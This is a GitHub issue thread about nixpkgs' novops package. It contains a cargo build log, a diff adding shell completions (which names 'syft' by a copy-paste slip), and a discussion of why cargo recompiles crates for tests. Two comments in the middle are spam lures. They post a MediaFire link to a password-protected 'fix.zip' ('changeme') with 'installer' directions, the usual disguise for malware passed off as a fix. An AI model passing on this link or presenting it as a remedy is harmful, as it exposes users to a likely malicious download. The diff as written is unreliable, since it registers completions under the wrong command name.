   Compiling tinyvec_macros v0.1.1
   Compiling ppv-lite86 v0.2.17
   Compiling tinyvec v1.6.0
   Compiling base64-simd v0.8.0
   Compiling indexmap v2.2.6
   Compiling http-body v1.0.0
   Compiling rustls-pemfile v1.0.4
   Compiling unicode-bidi v0.3.15
   Compiling http-body-util v0.1.1
   Compiling rustls-native-certs v0.6.3
   Compiling const-oid v0.9.6
   Compiling base64ct v1.6.0
   Compiling der v0.6.1
   Compiling cpufeatures v0.2.12
   Compiling crc32fast v1.4.0
   Compiling rand_chacha v0.3.1
   Compiling pkg-config v0.3.30
   Compiling vcpkg v0.2.15
   Compiling syn v1.0.109
   Compiling unicode-normalization v0.1.23
   Compiling rand v0.8.5
   Compiling sha2 v0.10.8
   Compiling crypto-bigint v0.4.9
   Compiling ff v0.12.1
   Compiling idna v0.5.0
   Compiling spki v0.6.0
   Compiling ident_case v1.0.1
   Compiling openssl-sys v0.9.102
   Compiling pkcs8 v0.9.0
   Compiling strsim v0.10.0
   Compiling base16ct v0.1.1
   Compiling group v0.12.1
   Compiling sec1 v0.3.0
   Compiling hmac v0.12.1
   Compiling serde_json v1.0.117
   Compiling bitflags v2.5.0
   Compiling rfc6979 v0.3.1
   Compiling elliptic-curve v0.12.3
   Compiling signature v1.6.4
   Compiling backtrace v0.3.71
   Compiling gimli v0.28.1
   Compiling adler v1.0.2
   Compiling fastrand v2.1.0
   Compiling ecdsa v0.14.8
   Compiling miniz_oxide v0.7.2
   Compiling aws-types v1.2.0
   Compiling object v0.32.2
   Compiling thiserror v1.0.60
   Compiling openssl v0.10.64
   Compiling anyhow v1.0.83
   Compiling foreign-types-shared v0.1.1
   Compiling hex v0.4.3
   Compiling rustc-demangle v0.1.24
   Compiling foreign-types v0.3.2
   Compiling p256 v0.11.1
   Compiling crypto-bigint v0.5.5
   Compiling native-tls v0.2.11
   Compiling getrandom v0.1.16
   Compiling crossbeam-utils v0.8.19
   Compiling mime v0.3.17
   Compiling regex-lite v0.1.5
   Compiling unicode-xid v0.2.4
   Compiling base64 v0.13.1
   Compiling serde_derive v1.0.201
   Compiling tokio-macros v2.2.0
   Compiling futures-macro v0.3.30
   Compiling tracing-attributes v0.1.27
   Compiling uuid-macro-internal v1.8.0
   Compiling uuid v1.8.0
   Compiling tokio v1.37.0
   Compiling futures-util v0.3.30
   Compiling addr2line v0.21.0
   Compiling thiserror-impl v1.0.60
   Compiling openssl-macros v0.1.1
   Compiling async-trait v0.1.80
   Compiling darling_core v0.14.4
   Compiling tracing v0.1.40
   Compiling rand_core v0.5.1
   Compiling darling_core v0.20.8
   Compiling encoding_rs v0.8.34
   Compiling webpki-roots v0.25.4
   Compiling rustls-webpki v0.101.7
   Compiling sct v0.7.1
   Compiling futures-executor v0.3.30
   Compiling sync_wrapper v0.1.2
   Compiling futures v0.3.30
   Compiling event-listener v2.5.3
   Compiling ipnet v2.9.0
   Compiling aho-corasick v1.1.3
   Compiling tokio-util v0.7.11
   Compiling aws-smithy-async v1.2.1
   Compiling tokio-native-tls v0.3.1
   Compiling h2 v0.3.26
   Compiling tokio-rustls v0.24.1
   Compiling darling_macro v0.20.8
   Compiling darling_macro v0.14.4
   Compiling concurrent-queue v2.5.0
   Compiling rand_chacha v0.2.2
   Compiling regex-syntax v0.8.3
   Compiling paste v1.0.15
   Compiling utf8parse v0.2.1
   Compiling xmlparser v0.13.6
   Compiling rustls v0.22.4
   Compiling fastrand v1.9.0
   Compiling deranged v0.3.11
   Compiling url v2.5.0
   Compiling serde_urlencoded v0.7.1
   Compiling iana-time-zone v0.1.60
   Compiling parking v2.2.0
   Compiling waker-fn v1.1.1
   Compiling http-types v2.12.0
   Compiling rustls-pki-types v1.7.0
   Compiling time v0.3.36
   Compiling regex-automata v0.4.6
   Compiling rustls-webpki v0.102.3
   Compiling futures-lite v1.13.0
   Compiling chrono v0.4.38
   Compiling serde_qs v0.8.5
   Compiling aws-smithy-xml v0.60.8
   Compiling anstyle-parse v0.2.4
   Compiling darling v0.14.4
   Compiling rand v0.7.3
   Compiling aws-smithy-types v1.1.9
   Compiling hyper v0.14.28
   Compiling async-channel v1.9.0
   Compiling darling v0.20.8
   Compiling aws-smithy-runtime-api v1.6.0
   Compiling aws-smithy-eventstream v0.60.4
   Compiling aws-smithy-json v0.60.7
   Compiling aws-smithy-http v0.60.8
   Compiling aws-credential-types v1.2.0
   Compiling aws-sigv4 v1.2.1
   Compiling aws-runtime v1.2.1
   Compiling pin-project-internal v1.1.5
   Compiling crc32c v0.6.5
   Compiling azure_core v0.8.0
   Compiling rustix v0.38.34
   Compiling matches v0.1.10
   Compiling anstyle-query v1.0.3
   Compiling is_terminal_polyfill v1.70.0
   Compiling urlencoding v2.1.3
   Compiling infer v0.2.3
   Compiling anstyle v1.0.7
   Compiling dyn-clone v1.0.17
   Compiling colorchoice v1.0.1
   Compiling anstream v0.6.14
   Compiling aws-smithy-query v0.60.7
   Compiling hyper-rustls v0.24.2
   Compiling hyper-tls v0.5.0
   Compiling pin-project v1.1.5
   Compiling aws-smithy-runtime v1.5.0
   Compiling reqwest v0.11.27
   Compiling idna v0.1.5
   Compiling serde_with_macros v2.3.3
   Compiling regex v1.10.4
   Compiling derive_builder_core v0.12.0
   Compiling synstructure v0.12.6
   Compiling itertools v0.12.1
   Compiling indexmap v1.9.3
   Compiling seahash v4.1.0
   Compiling percent-encoding v1.0.1
   Compiling linux-raw-sys v0.4.13
   Compiling heck v0.5.0
   Compiling strsim v0.11.1
   Compiling clap_lex v0.7.0
   Compiling clap_builder v4.5.2
   Compiling yup-oauth2 v8.3.2
   Compiling clap_derive v4.5.4
   Compiling url v1.7.2
   Compiling rustify_derive v0.5.3
   Compiling derive_builder_macro v0.12.0
   Compiling serde_with v2.3.3
   Compiling serde_path_to_error v0.1.16
   Compiling fix-hidden-lifetime-bug-proc_macros v0.2.5
   Compiling const_format_proc_macros v0.2.32
   Compiling serde_derive_internals v0.29.0
   Compiling sha1 v0.10.6
   Compiling md-5 v0.10.6
   Compiling itertools v0.10.5
   Compiling linked-hash-map v0.5.6
   Compiling unicode-width v0.1.12
   Compiling hashbrown v0.12.3
   Compiling lazy_static v1.4.0
   Compiling rand_core v0.4.2
   Compiling schemars v0.8.19
   Compiling rand_core v0.3.1
   Compiling const_format v0.2.32
   Compiling console v0.15.8
   Compiling schemars_derive v0.8.19
   Compiling yaml-rust v0.4.5
   Compiling aws-smithy-checksums v0.60.7
   Compiling google-apis-common v6.0.3
   Compiling fix-hidden-lifetime-bug v0.2.5
   Compiling oauth2 v4.4.2
   Compiling rustify v0.5.3
   Compiling derive_builder v0.12.0
   Compiling clap v4.5.4
   Compiling tempfile v3.10.1
   Compiling aws-sdk-sts v1.23.0
   Compiling aws-sdk-sso v1.23.0
   Compiling aws-sdk-ssooidc v1.23.0
   Compiling async-lock v2.8.0
   Compiling lru v0.12.3
   Compiling is-terminal v0.4.12
   Compiling humantime v2.1.0
   Compiling shell-words v1.1.0
   Compiling termcolor v1.4.1
   Compiling dialoguer v0.11.0
   Compiling env_logger v0.10.2
   Compiling aws-config v1.3.0
   Compiling aws-sdk-s3 v1.26.0
   Compiling azure_identity v0.9.0
   Compiling vaultrs v0.7.2
   Compiling clap_complete v4.5.2
   Compiling google-secretmanager1 v5.0.4+20240223
   Compiling serde_yaml v0.8.26
   Compiling azure_security_keyvault v0.8.0
   Compiling rand v0.5.6
   Compiling aws-sdk-ssm v1.26.0
   Compiling aws-sdk-iam v1.24.0
   Compiling aws-sdk-secretsmanager v1.25.0
   Compiling users v0.11.0
   Compiling home v0.5.9
   Compiling xdg v2.5.2
   Compiling convert_case v0.5.0
   Compiling base64 v0.22.1
   Compiling novops v0.15.0 (/build/source)
    Finished `release` profile [optimized] target(s) in 4m 40s
Executing cargoInstallPostBuildHook
Finished cargoInstallPostBuildHook
Finished cargoBuildHook
buildPhase completed in 4 minutes 41 seconds
Running phase: checkPhase
Executing cargoCheckHook
++ cargo test -j 12 --profile release --target x86_64-unknown-linux-gnu --offline --lib -- --test-threads=12
warning: `/build/.cargo/config` is deprecated in favor of `config.toml`
note: if you need to support cargo 1.38 or earlier, you can symlink `config` to `config.toml`
warning: `/build/.cargo/config` is deprecated in favor of `config.toml`
note: if you need to support cargo 1.38 or earlier, you can symlink `config` to `config.toml`
   Compiling ring v0.17.8
   Compiling openssl-sys v0.9.102
   Compiling diff v0.1.13
   Compiling yansi v0.5.1
   Compiling openssl v0.10.64
   Compiling native-tls v0.2.11
   Compiling pretty_assertions v1.4.0
   Compiling tokio-native-tls v0.3.1
   Compiling hyper-tls v0.5.0
   Compiling rustls v0.21.12
   Compiling rustls v0.22.4
   Compiling rustls-webpki v0.101.7
   Compiling sct v0.7.1
   Compiling aws-sigv4 v1.2.1
   Compiling rustls-webpki v0.102.3
   Compiling aws-runtime v1.2.1
   Compiling tokio-rustls v0.24.1
   Compiling hyper-rustls v0.24.2
   Compiling aws-smithy-runtime v1.5.0
   Compiling reqwest v0.11.27
   Compiling yup-oauth2 v8.3.2
   Compiling azure_core v0.8.0
   Compiling google-apis-common v6.0.3
   Compiling rustify v0.5.3
   Compiling aws-sdk-sso v1.23.0
   Compiling aws-sdk-ssooidc v1.23.0
   Compiling aws-sdk-sts v1.23.0
   Compiling aws-sdk-iam v1.24.0
   Compiling aws-sdk-s3 v1.26.0
   Compiling aws-config v1.3.0
   Compiling aws-sdk-ssm v1.26.0
   Compiling aws-sdk-secretsmanager v1.25.0

maybe because of :
  cargoTestFlags = [
      # Only run lib tests (unit tests)
      # All other tests are integration tests which should not be run with Nix build
      "--lib"
  ];

I am less familiar with rust build infra but could it be made into a runtime decision checkFlags = [ "--lib" ]; for instance ?
Steps to reproduce
nix-build -A novops
Context
I was trying to add autocompletion to it:
diff --git a/pkgs/by-name/no/novops/package.nix b/pkgs/by-name/no/novops/package.nix
index 02f11dc208dd..d505568661a2 100644
--- a/pkgs/by-name/no/novops/package.nix
+++ b/pkgs/by-name/no/novops/package.nix
@@ -4,6 +4,7 @@
 , pkg-config
 , openssl
 , stdenv
+, installShellFiles
 , libiconv
 , darwin
 }:
@@ -29,6 +30,7 @@ rustPlatform.buildRustPackage rec {
   ];

   nativeBuildInputs = [
+    installShellFiles
     pkg-config # required for openssl-sys
   ];

@@ -38,6 +40,13 @@ rustPlatform.buildRustPackage rec {
       "--lib"
   ];

+  postInstall = ''
+    installShellCompletion --cmd syft \
+      --bash <($out/bin/novops completion bash) \
+      --fish <($out/bin/novops completion fish) \
+      --zsh <($out/bin/novops completion zsh)
+  '';
+
   meta = with lib; {
     description = "Cross-platform secret & config manager for development and CI environments";
     homepage = "https://github.com/PierreBeucher/novops";

Technical details
unstable
cc @PierreBeucher

Ah, Novops is long enough to build already, doing it twice is definitely not a happy experience. I'll try to take a look at the build process here

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."

It looks okay. Cargo do work like this and I've observed a lot similar patterns in other rust packages. If there isn't a test for the package, the best option is to disable it. See https://nixos.org/manual/nixpkgs/unstable/#disabling-package-tests

cargo rebuilds when running the tests ? looks wasteful, is there anywhere I could read about it ? I would think it's because of a specific configuration for tests. @PierreBeucher does that raise any idea ?
the package does have tests so I hope we can keep them.

Most tests are integration test relying on container image pull and/or infra as code setup (requiring Cloud account) so not really suitable to be run as part of Nix packaging.
Cargo distinguish optimized build and "quick" build for development, I guess the test build is not optimized whereas the Nix package build is using the optimized build - not sure though, just a wild guess. You can take a look here: https://doc.rust-lang.org/book/ch14-01-release-profiles.html

It's not compiled twice in this case, if you look at list of compiled crates most (all?) of them are not the same.
Upstream has dev-dependencies:
https://doc.rust-lang.org/cargo/reference/specifying-dependencies.html#development-dependencies
so they are compiled only for the test build:
https://github.com/PierreBeucher/novops/blob/98c1ecd12d82a52067189f61682266e11468a95a/Cargo.toml#L64-L70
If package had non-default checkType or checkFeatures then it could be full second recompile.

if you look at the build log I used, Compiling aws-sdk-sso v1.23.0 appears twice, one before and one after starting the test phase.

<EMAIL_ADDRESS>If package had non-default checkType or checkFeatures that affected all crates, then it could be full second recompile.

I think you are looking in the good direction: I think the profile.test
https://github.com/PierreBeucher/novops/blob/d13a3717c22365b925f6fbc59696d6300ef040ad/Cargo.toml#L68
is what triggers the rebuild. I haven't tested removing this from the file but my guess is that it would fix the issue. Is there a way to ignore the profile.testfrom nixpkgs ? or a way that maybe upstream can keep a specific on-demand debug profile ?

Drive-by knowledge sharing:
Cargo indeed compiles code a second time for test, by design.

When compiling the leaf crate for tests, cargo passes --cfg=test conditional compilation option, so the code has to be recompiled, as, due to conditional compilation, test and non-test codes are just different (even if conventionally they are mostly the same)
when compiling dependencies, cargo doesn't pass --cfg=test to them, so they are not necessarily recompiled.
however, cargo install (or cargo build --release) and cargo test use different optimization options, and that causes the entire tree to be recompiled. Note that even if [profile.test] is not explicitly overridden in Cargo.toml, it is still different by default from release profile (and, actually, profile.test used to be very misleading. You always want to use profile.dev. maybe profile.test got fixed in the past few years, but I am 0.8 sure that those lines in Cargo.toml don't actually do what the author wants them to do)
it does seem that running cargo test --release, rather than cargo test, should lead to less compile time overall, if you are going to compile the binary in release as well.